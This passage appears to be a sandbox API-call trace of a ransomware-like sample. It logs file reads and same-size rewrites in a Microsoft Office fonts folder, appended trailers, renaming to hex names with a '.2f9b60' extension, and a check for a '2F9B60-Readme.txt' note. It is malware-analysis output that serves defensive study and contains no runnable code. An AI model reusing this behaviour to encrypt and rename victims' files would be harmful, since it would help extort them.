0x1cabb97c [0119.683] RtlRandomEx (in: Seed=0x3db8f830 | out: Seed=0x3db8f830) returned 0x78f55c86 [0119.683] RtlRandomEx (in: Seed=0x3db8f830 | out: Seed=0x3db8f830) returned 0x5921c0f5 [0119.683] RtlRandomEx (in: Seed=0x3db8f830 | out: Seed=0x3db8f830) returned 0x4956c534 [0119.683] RtlRandomEx (in: Seed=0x3db8f830 | out: Seed=0x3db8f830) returned 0x32a80940 [0119.683] RtlRandomEx (in: Seed=0x3db8f830 | out: Seed=0x3db8f830) returned 0x5d0dd65 [0119.683] RtlRandomEx (in: Seed=0x3db8f830 | out: Seed=0x3db8f830) returned 0x58f41d0d [0119.683] RtlRandomEx (in: Seed=0x3db8f830 | out: Seed=0x3db8f830) returned 0x483ff08a [0119.683] RtlRandomEx (in: Seed=0x3db8f830 | out: Seed=0x3db8f830) returned 0x79fcc07a [0119.684] RtlRandomEx (in: Seed=0x3db8f830 | out: Seed=0x3db8f830) returned 0x759aed7e [0119.684] RtlRandomEx (in: Seed=0x3db8f830 | out: Seed=0x3db8f830) returned 0x46c0ce4b [0119.684] RtlRandomEx (in: Seed=0x3db8f830 | out: Seed=0x3db8f830) returned 0x10f74698 [0119.684] RtlRandomEx (in: Seed=0x3db8f830 | out: Seed=0x3db8f830) returned 0x2dca536a [0119.684] RtlRandomEx (in: Seed=0x3db8f830 | out: Seed=0x3db8f830) returned 0x80e3764 [0119.684] RtlRandomEx (in: Seed=0x3db8f830 | out: Seed=0x3db8f830) returned 0x56c36915 [0119.684] RtlRandomEx (in: Seed=0x3db8f830 | out: Seed=0x3db8f830) returned 0x7635d43c [0119.684] RtlRandomEx (in: Seed=0x3db8f830 | out: Seed=0x3db8f830) returned 0x6feaa6a8 [0119.684] RtlRandomEx (in: Seed=0x3db8f830 | out: Seed=0x3db8f830) returned 0x6717e74 [0119.684] RtlRandomEx (in: Seed=0x3db8f830 | out: Seed=0x3db8f830) returned 0x4e98bf59 [0119.684] RtlRandomEx (in: Seed=0x3db8f830 | out: Seed=0x3db8f830) returned 0x2cd37544 [0119.684] RtlRandomEx (in: Seed=0x3db8f830 | out: Seed=0x3db8f830) returned 0x221ddbe6 [0119.684] RtlRandomEx (in: Seed=0x3db8f830 | out: Seed=0x3db8f830) returned 0x4212930f [0119.684] RtlRandomEx (in: Seed=0x3db8f830 | out: Seed=0x3db8f830) returned 0xc068a47 [0119.684] RtlRandomEx (in: Seed=0x3db8f830 | out: Seed=0x3db8f830) returned 0x10b3d1 [0119.684] RtlRandomEx (in: Seed=0x3db8f830 | out: Seed=0x3db8f830) returned 0x4e98bf59 [0119.684] RtlRandomEx (in: Seed=0x3db8f830 | out: Seed=0x3db8f830) returned 0x15239880 [0119.684] RtlRandomEx (in: Seed=0x3db8f830 | out: Seed=0x3db8f830) returned 0x547bdaa4 [0119.684] RtlRandomEx (in: Seed=0x3db8f830 | out: Seed=0x3db8f830) returned 0x19a0018d [0119.691] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fee0 [0119.691] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ef90 [0119.691] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b861200 [0119.691] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ef90) returned 1 [0119.691] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8604e0) returned 1 [0119.691] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab100) returned 1 [0119.691] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c6c0 [0119.691] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ef90 [0119.691] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab100 [0119.691] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab100) returned 1 [0119.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201aa520 [0119.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201a2d00 [0119.692] ReadFile (in: hFile=0x1818, lpBuffer=0x201aa520, nNumberOfBytesToRead=0xe0f, lpNumberOfBytesRead=0x3db8f830, lpOverlapped=0x0 | out: lpBuffer=0x201aa520*, lpNumberOfBytesRead=0x3db8f830*=0xe0f, lpOverlapped=0x0) returned 1 [0119.692] SetFilePointerEx (in: hFile=0x1818, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.692] WriteFile (in: hFile=0x1818, lpBuffer=0x201a2d00*, nNumberOfBytesToWrite=0xe0f, lpNumberOfBytesWritten=0x3db8f834, lpOverlapped=0x0 | out: lpBuffer=0x201a2d00*, lpNumberOfBytesWritten=0x3db8f834*=0xe0f, lpOverlapped=0x0) returned 1 [0152.764] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42052500 [0152.765] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42052530 [0152.765] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42052530) returned 1 [0152.765] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201a2d00) returned 1 [0152.765] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201aa520) returned 1 [0152.766] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ef90) returned 1 [0152.766] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c6c0) returned 1 [0152.766] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42052530 [0152.766] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c6c0 [0152.766] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ef90 [0152.766] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42052560 [0152.767] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42052560) returned 1 [0152.767] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42052560 [0152.767] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42052590 [0152.767] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x420525c0 [0152.767] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420525c0) returned 1 [0152.767] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ef90) returned 1 [0152.768] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c6c0) returned 1 [0152.768] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x420551c0 [0152.768] SetFilePointerEx (in: hFile=0x1818, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0152.768] WriteFile (in: hFile=0x1818, lpBuffer=0x420551c0*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x3db8f950, lpOverlapped=0x0 | out: lpBuffer=0x420551c0*, lpNumberOfBytesWritten=0x3db8f950*=0x108, lpOverlapped=0x0) returned 1 [0161.541] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd973a0 [0161.541] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8689c0 [0161.542] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f8e0 [0161.542] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f8e0) returned 1 [0161.542] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x174b90 [0161.542] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f8e0 [0161.542] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860330 [0161.543] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860330) returned 1 [0161.543] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8689c0) returned 1 [0161.544] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd973a0) returned 1 [0161.544] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1b7d7f80 [0161.544] sprintf (in: _Dest=0x1b7d7f80, _Format="%c%c" | out: _Dest="42") returned 2 [0161.544] sprintf (in: _Dest=0x1b7d7f82, _Format="%c%c" | out: _Dest="c2") returned 2 [0161.544] sprintf (in: _Dest=0x1b7d7f84, _Format="%c%c" | out: _Dest="9c") returned 2 [0161.544] sprintf (in: _Dest=0x1b7d7f86, _Format="%c%c" | out: _Dest="18") returned 2 [0161.544] sprintf (in: _Dest=0x1b7d7f88, _Format="%c%c" | out: _Dest="13") returned 2 [0161.544] sprintf (in: _Dest=0x1b7d7f8a, _Format="%c%c" | out: _Dest="20") returned 2 [0161.544] sprintf (in: _Dest=0x1b7d7f8c, _Format="%c%c" | out: _Dest="36") returned 2 [0161.544] sprintf (in: _Dest=0x1b7d7f8e, _Format="%c%c" | out: _Dest="fb") returned 2 [0161.544] sprintf (in: _Dest=0x1b7d7f90, _Format="%c%c" | out: _Dest="c1") returned 2 [0161.544] sprintf (in: _Dest=0x1b7d7f92, _Format="%c%c" | out: _Dest="f4") returned 2 [0161.544] sprintf (in: _Dest=0x1b7d7f94, _Format="%c%c" | out: _Dest="1d") returned 2 [0161.544] sprintf (in: _Dest=0x1b7d7f96, _Format="%c%c" | out: _Dest="52") returned 2 [0161.544] sprintf (in: _Dest=0x1b7d7f98, _Format="%c%c" | out: _Dest="18") returned 2 [0161.544] sprintf (in: _Dest=0x1b7d7f9a, _Format="%c%c" | out: _Dest="67") returned 2 [0161.544] sprintf (in: _Dest=0x1b7d7f9c, _Format="%c%c" | out: _Dest="79") returned 2 [0161.544] sprintf (in: _Dest=0x1b7d7f9e, _Format="%c%c" | out: _Dest="4a") returned 2 [0161.544] sprintf (in: _Dest=0x1b7d7fa0, _Format="%c%c" | out: _Dest="5a") returned 2 [0161.544] sprintf (in: _Dest=0x1b7d7fa2, _Format="%c%c" | out: _Dest="8a") returned 2 [0161.544] sprintf (in: _Dest=0x1b7d7fa4, _Format="%c%c" | out: _Dest="d0") returned 2 [0161.545] sprintf (in: _Dest=0x1b7d7fa6, _Format="%c%c" | out: _Dest="6c") returned 2 [0161.545] sprintf (in: _Dest=0x1b7d7fa8, _Format="%c%c" | out: _Dest="8a") returned 2 [0161.545] sprintf (in: _Dest=0x1b7d7faa, _Format="%c%c" | out: _Dest="41") returned 2 [0161.545] RtlInitAnsiString (in: DestinationString=0x3db8f9c8, SourceString="42c29c18132036fbc1f41d521867794a5a8ad06c8a41" | out: DestinationString="42c29c18132036fbc1f41d521867794a5a8ad06c8a41") [0161.545] RtlAnsiStringToUnicodeString (in: DestinationString=0x3db8f998, SourceString="42c29c18132036fbc1f41d521867794a5a8ad06c8a41", AllocateDestinationString=1 | out: DestinationString="42c29c18132036fbc1f41d521867794a5a8ad06c8a41") returned 0x0 [0161.545] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1ced8d00 [0161.545] RtlFreeAnsiString (AnsiString="4") [0161.546] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f80) returned 1 [0161.546] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0161.546] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f8e0) returned 1 [0161.546] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420551c0) returned 1 [0161.547] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42052560) returned 1 [0161.547] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42052590) returned 1 [0161.547] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42052530) returned 1 [0161.547] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42052500) returned 1 [0161.548] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8600f0) returned 1 [0161.548] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fee0) returned 1 [0161.548] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861200) returned 1 [0161.548] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1cd64dc0 [0161.549] wcscat (in: _Dest=0x1cd64dc0, _Source="42c29c18132" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\42c29c18132") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\42c29c18132" [0161.549] wcscat (in: _Dest=0x1cd64dc0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\42c29c18132.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\42c29c18132.2f9b60" [0161.549] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\42c29c18132.2f9b60", NtPathName=0x3db8f970, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\42c29c18132.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0161.549] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x1197f0 [0187.842] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1197f0) returned 1 [0187.843] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1b170) returned 1 [0187.843] NtQueryInformationFile (in: FileHandle=0x1818, IoStatusBlock=0x3db8f9d8, FileInformation=0x3db8f9e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3db8f9d8, FileInformation=0x3db8f9e8) returned 0x0 [0187.843] NtSetInformationFile (FileHandle=0x1818, IoStatusBlock=0x3db8f9d8, FileInformation=0x3db8f9e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0209.528] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd64dc0) returned 1 [0209.528] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8d00) returned 1 [0209.528] FlushFileBuffers (hFile=0x1818) returned 1 [0213.136] CloseHandle (hObject=0x1818) returned 1 [0216.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x202ac6e0 [0216.146] wcscpy (in: _Dest=0x202ac6e0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0216.146] wcscat (in: _Dest=0x202ac6e0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" [0216.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\2f9b60-readme.txt")) returned 0x20 [0216.147] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ac6e0) returned 1 [0216.148] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ac630) returned 1 Thread: id = 1414 os_tid = 0x186c [0119.115] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Composite.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\composite.xml")) returned 0x20 [0119.194] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Composite.xml", dwFileAttributes=0x20) returned 1 [0119.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Composite.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\composite.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1808 [0119.598] GetFileSizeEx (in: hFile=0x1808, lpFileSize=0x3f05f980 | out: lpFileSize=0x3f05f980*=3598) returned 1 [0119.598] SetFilePointerEx (in: hFile=0x1808, liDistanceToMove=0xe0a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.598] ReadFile (in: hFile=0x1808, lpBuffer=0x3f05f900, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3f05f948, lpOverlapped=0x0 | out: lpBuffer=0x3f05f900*, lpNumberOfBytesRead=0x3f05f948*=0x4, lpOverlapped=0x0) returned 1 [0119.720] SetFilePointerEx (in: hFile=0x1808, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.720] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab100 [0119.720] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8603f0 [0119.720] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ff40 [0119.720] NtQuerySystemTime (in: CurrentTime=0x3f05f840 | out: CurrentTime=0x3f05f840*=132462177251350000) returned 0x0 [0119.720] RtlRandomEx (in: Seed=0x3f05f830 | out: Seed=0x3f05f830) returned 0x63f368d6 [0119.720] RtlRandomEx (in: Seed=0x3f05f830 | out: Seed=0x3f05f830) returned 0x78a90c47 [0119.720] RtlRandomEx (in: Seed=0x3f05f830 | out: Seed=0x3f05f830) returned 0x7304263f [0119.720] RtlRandomEx (in: Seed=0x3f05f830 | out: Seed=0x3f05f830) returned 0x459ec6fa [0119.720] RtlRandomEx (in: Seed=0x3f05f830 | out: Seed=0x3f05f830) returned 0x242ca3d [0119.720] RtlRandomEx (in: Seed=0x3f05f830 | out: Seed=0x3f05f830) returned 0x48410be8 [0119.720] RtlRandomEx (in: Seed=0x3f05f830 | out: Seed=0x3f05f830) returned 0x1c20a117 [0119.720] RtlRandomEx (in: Seed=0x3f05f830 | out: Seed=0x3f05f830) returned 0x4de6a102 [0119.720] RtlRandomEx (in: Seed=0x3f05f830 | out: Seed=0x3f05f830) returned 0x18ebe72 [0119.721] RtlRandomEx (in: Seed=0x3f05f830 | out: Seed=0x3f05f830) returned 0x35f38f09 [0119.721] RtlRandomEx (in: Seed=0x3f05f830 | out: Seed=0x3f05f830) returned 0x3a12d3aa [0119.721] RtlRandomEx (in: Seed=0x3f05f830 | out: Seed=0x3f05f830) returned 0x665b00e0 [0119.721] RtlRandomEx (in: Seed=0x3f05f830 | out: Seed=0x3f05f830) returned 0x63f368d6 [0119.721] RtlRandomEx (in: Seed=0x3f05f830 | out: Seed=0x3f05f830) returned 0xd881a7a [0119.721] RtlRandomEx (in: Seed=0x3f05f830 | out: Seed=0x3f05f830) returned 0x50b4ef25 [0119.721] RtlRandomEx (in: Seed=0x3f05f830 | out: Seed=0x3f05f830) returned 0x163a132c [0119.721] RtlRandomEx (in: Seed=0x3f05f830 | out: Seed=0x3f05f830) returned 0x46deb74b [0119.721] RtlRandomEx (in: Seed=0x3f05f830 | out: Seed=0x3f05f830) returned 0xf4aa030 [0119.721] RtlRandomEx (in: Seed=0x3f05f830 | out: Seed=0x3f05f830) returned 0x401a76b8 [0119.721] RtlRandomEx (in: Seed=0x3f05f830 | out: Seed=0x3f05f830) returned 0x360e1cf5 [0119.721] RtlRandomEx (in: Seed=0x3f05f830 | out: Seed=0x3f05f830) returned 0x6d159048 [0119.721] RtlRandomEx (in: Seed=0x3f05f830 | out: Seed=0x3f05f830) returned 0x42909cc3 [0119.721] RtlRandomEx (in: Seed=0x3f05f830 | out: Seed=0x3f05f830) returned 0x5b3da152 [0119.721] RtlRandomEx (in: Seed=0x3f05f830 | out: Seed=0x3f05f830) returned 0x31d1cd80 [0119.721] RtlRandomEx (in: Seed=0x3f05f830 | out: Seed=0x3f05f830) returned 0x683d9c58 [0119.721] RtlRandomEx (in: Seed=0x3f05f830 | out: Seed=0x3f05f830) returned 0x1e7baac [0119.721] RtlRandomEx (in: Seed=0x3f05f830 | out: Seed=0x3f05f830) returned 0x4adb38e9 [0119.721] RtlRandomEx (in: Seed=0x3f05f830 | out: Seed=0x3f05f830) returned 0x3bd76061 [0119.721] RtlRandomEx (in: Seed=0x3f05f830 | out: Seed=0x3f05f830) returned 0x6a70c88a [0119.721] RtlRandomEx (in: Seed=0x3f05f830 | out: Seed=0x3f05f830) returned 0x6df9e463 [0119.721] RtlRandomEx (in: Seed=0x3f05f830 | out: Seed=0x3f05f830) returned 0x31dfff9b [0119.721] RtlRandomEx (in: Seed=0x3f05f830 | out: Seed=0x3f05f830) returned 0x6cd66344 [0119.728] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860330 [0119.728] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e690 [0119.728] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f8e0 [0119.729] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e690) returned 1 [0119.729] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff40) returned 1 [0119.729] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab100) returned 1 [0119.729] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bf40 [0119.729] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e690 [0119.729] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab100 [0119.729] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab100) returned 1 [0119.729] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201ae130 [0119.729] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20446ac0 [0119.729] ReadFile (in: hFile=0x1808, lpBuffer=0x201ae130, nNumberOfBytesToRead=0xe0e, lpNumberOfBytesRead=0x3f05f830, lpOverlapped=0x0 | out: lpBuffer=0x201ae130*, lpNumberOfBytesRead=0x3f05f830*=0xe0e, lpOverlapped=0x0) returned 1 [0119.729] SetFilePointerEx (in: hFile=0x1808, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.729] WriteFile (in: hFile=0x1808, lpBuffer=0x20446ac0*, nNumberOfBytesToWrite=0xe0e, lpNumberOfBytesWritten=0x3f05f834, lpOverlapped=0x0 | out: lpBuffer=0x20446ac0*, lpNumberOfBytesWritten=0x3f05f834*=0xe0e, lpOverlapped=0x0) returned 1 [0152.760] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42052440 [0152.761] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42052470 [0152.761] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42052470) returned 1 [0152.761] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20446ac0) returned 1 [0152.761] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201ae130) returned 1 [0152.761] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e690) returned 1 [0152.762] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bf40) returned 1 [0152.762] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x42052470 [0152.762] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bf40 [0152.762] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e690 [0152.762] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x420524a0 [0152.763] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420524a0) returned 1 [0152.763] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x420524a0 [0152.763] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x420524d0 [0152.763] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42052500 [0152.763] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42052500) returned 1 [0152.763] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e690) returned 1 [0152.764] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bf40) returned 1 [0152.764] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10c) returned 0x166ce0 [0152.764] SetFilePointerEx (in: hFile=0x1808, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0152.764] WriteFile (in: hFile=0x1808, lpBuffer=0x166ce0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x3f05f950, lpOverlapped=0x0 | out: lpBuffer=0x166ce0*, lpNumberOfBytesWritten=0x3f05f950*=0x10c, lpOverlapped=0x0) returned 1 [0161.529] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd973a0 [0161.530] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8689c0 [0161.530] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a48e0 [0161.530] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a48e0) returned 1 [0161.531] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x423a48e0 [0161.531] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4910 [0161.531] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4940 [0161.531] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4940) returned 1 [0161.532] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8689c0) returned 1 [0161.532] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd973a0) returned 1 [0161.533] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1b7d7f80 [0161.533] sprintf (in: _Dest=0x1b7d7f80, _Format="%c%c" | out: _Dest="57") returned 2 [0161.533] sprintf (in: _Dest=0x1b7d7f82, _Format="%c%c" | out: _Dest="ce") returned 2 [0161.533] sprintf (in: _Dest=0x1b7d7f84, _Format="%c%c" | out: _Dest="0e") returned 2 [0161.533] sprintf (in: _Dest=0x1b7d7f86, _Format="%c%c" | out: _Dest="d4") returned 2 [0161.533] sprintf (in: _Dest=0x1b7d7f88, _Format="%c%c" | out: _Dest="2c") returned 2 [0161.533] sprintf (in: _Dest=0x1b7d7f8a, _Format="%c%c" | out: _Dest="d3") returned 2 [0161.533] sprintf (in: _Dest=0x1b7d7f8c, _Format="%c%c" | out: _Dest="55") returned 2 [0161.533] sprintf (in: _Dest=0x1b7d7f8e, _Format="%c%c" | out: _Dest="6e") returned 2 [0161.533] sprintf (in: _Dest=0x1b7d7f90, _Format="%c%c" | out: _Dest="66") returned 2 [0161.533] sprintf (in: _Dest=0x1b7d7f92, _Format="%c%c" | out: _Dest="33") returned 2 [0161.533] sprintf (in: _Dest=0x1b7d7f94, _Format="%c%c" | out: _Dest="78") returned 2 [0161.533] sprintf (in: _Dest=0x1b7d7f96, _Format="%c%c" | out: _Dest="f4") returned 2 [0161.533] sprintf (in: _Dest=0x1b7d7f98, _Format="%c%c" | out: _Dest="5f") returned 2 [0161.533] sprintf (in: _Dest=0x1b7d7f9a, _Format="%c%c" | out: _Dest="f1") returned 2 [0161.533] sprintf (in: _Dest=0x1b7d7f9c, _Format="%c%c" | out: _Dest="d6") returned 2 [0161.534] sprintf (in: _Dest=0x1b7d7f9e, _Format="%c%c" | out: 